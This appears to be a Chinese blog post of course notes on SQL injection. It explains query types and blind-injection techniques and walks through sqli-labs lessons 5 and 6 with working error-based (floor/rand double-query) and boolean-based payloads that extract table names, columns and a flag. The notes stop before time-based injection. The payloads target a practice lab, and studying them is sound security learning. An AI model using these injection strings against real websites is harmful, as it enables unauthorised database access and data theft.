从查询方式和报错注入

小迪v16

/* 15课没看完 Access 偏移注入:解决列名获取不到的情况*/

这里是引用
当进行SQL注入时,有很多注入会出现无回显的倩况,其中不回显的
原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的
报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL
语句大概写法也能更好的选择对应的注入语句。

1.查询方式

select    #在网站中进行数据查询工作
例:select * from xxx where id=$id
insert     #在网站应用中进行用户注册添加等操作
例:insert into xxx(id,url,text) values(2,'x','$t')
delete     #删除数据,后台管理里面删除文章删除用户等操作
例:delete from xxx where id=$id
update    #更新数据,会员或后台中心数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'
order by  # 排序数据,一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order

这里是引用
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的 SQL 查询方式

2.报错注入

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的 SQL 盲注-逻辑判断

regexp,like,ascii,ord,left,mid

基于时间的 SQL 盲注-延时判断

if,sleep

基于报错的 SQL 盲注-报错回显

floor,updatexml,extractvalue
参考:
like 'ro%'                        #用法:select user() like ‘ro%’,正确返回1,否为0
regexp '^xiaodi[a-z]'             #正则匹配 xiaodi 在 a-z范围内,正确返回1 否则为 0,  https://www.cnblogs.com/lcamry/articles/5717442.html
if(条件,1,0)                       #条件成立 返回 1反之 返回 0
sleep(5)                          #SQL 语句延时执行 5 秒
mid(a,b,c)                        #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c)                     #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1)                #left(a,b)从左侧截取 a 的前 b 位
length(database())=8               #判断数据库 database()名的长度
ord=ascii ascii(x)=97              #Ord()函数同 ascii(),判断 x 的 ascii 码是否等于 97

这里是引用
当聚合函数和分组函数,随机函数,取整函数联合使用时会报错,其报错内容会将查询的内容显示出来。

**sqlilabs-less5 双查询基于报错的 SQL盲注 **

输入:?id=1

正常
在这里插入图片描述

输入:?id=1'

报错
在这里插入图片描述

输入:?id=1' order by 4--+

回显错误

输入:?id=1' order by 3--+

回显错误

输入:?id=-1' union select 1,2,3--+

没有回显,不能判断。
使用双查询,不同函数一起使用,让报错内容查询出来。

这里是引用
一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的
重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时
重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需
要多试几次才行。

查表,注意使用limit 函数

?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x--+

在这里插入图片描述
查字段

?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name = 'EJUucG6J' limit 1,1 ),floor(rand()*2))x from information_schema.tables group by x--+

在这里插入图片描述
查字段内容

?id=-1' union select 1,count(*),concat((select flag from security.EJUucG6J limit 3,1 ),floor(rand()*2))x from information_schema.tables group by x--+

在这里插入图片描述

  1. 报错注入还需要继续学习
exp()报错https://www.cnblogs.com/lcamry/articles/5509124.html
bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html
updatexml,extractvalue


less-6 基于布尔 SQL盲注 —逻辑判断
通过测试less-6为双注入GET双引号字符型注入

推测数据库版本

输入: ?id=1" and left(version(),1) = 5--+

这里返回正确,如果不是5则不正常显示

在这里插入图片描述
在这里插入图片描述
看数据库长度
length()=8时显示正确

输入 ?id=1" and length(database())=8 --+

在这里插入图片描述
猜数据库名称
猜第一位,这里用二分法查找

输入:?id=1" and left(database(),1) > 'a' and left(database(),1) < 'm'--+
URL
%3E = >
%3C = <

在这里插入图片描述

输入:?id=1" and left(database(),1) > 'm' and left(database(),1) < 'z'--+

在这里插入图片描述
以此类推,第一位为s
推测第二位同样

输入:?id=1" and left(database(),2) > 'sa' and left(database(),2) < 'se'--+

最后得出数据库名:security

推测表名
使用 ascii() /ord与 substr() /mid()

在这里插入图片描述

先测长度 为8

?id=1" and length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1) ) = 8  --+

在这里插入图片描述
挨个试ascii

输入:?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)) = 68--+

得出第一为 D ascii=68
在这里插入图片描述
最后得出表名 :Doh6y6XU
要获得第二个表 limit 1,1

利用 regexp 获取 Doh6y6XU 表中的是否有flag列

?id=1" and 1=(select 1 from information_schema.columns where table_name = 'Doh6y6XU' and column_name regexp '^flag' limit 0,1) --+
匹配是否结束  regexp '^username$'来进行判断。^是从开头进行
匹配,$是从结尾开始判断。更多的语法可以参考 mysql 使用手册
使用 limit 0,1 改为 limit 1,1 来查看另一个
但是这种做法是错误的,在列中或表 只要有的都能匹配到,limit失去作用

在这里插入图片描述
查看内容使用使用 ascii() /ord与 substr() /mid()


延时盲注
…后续

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值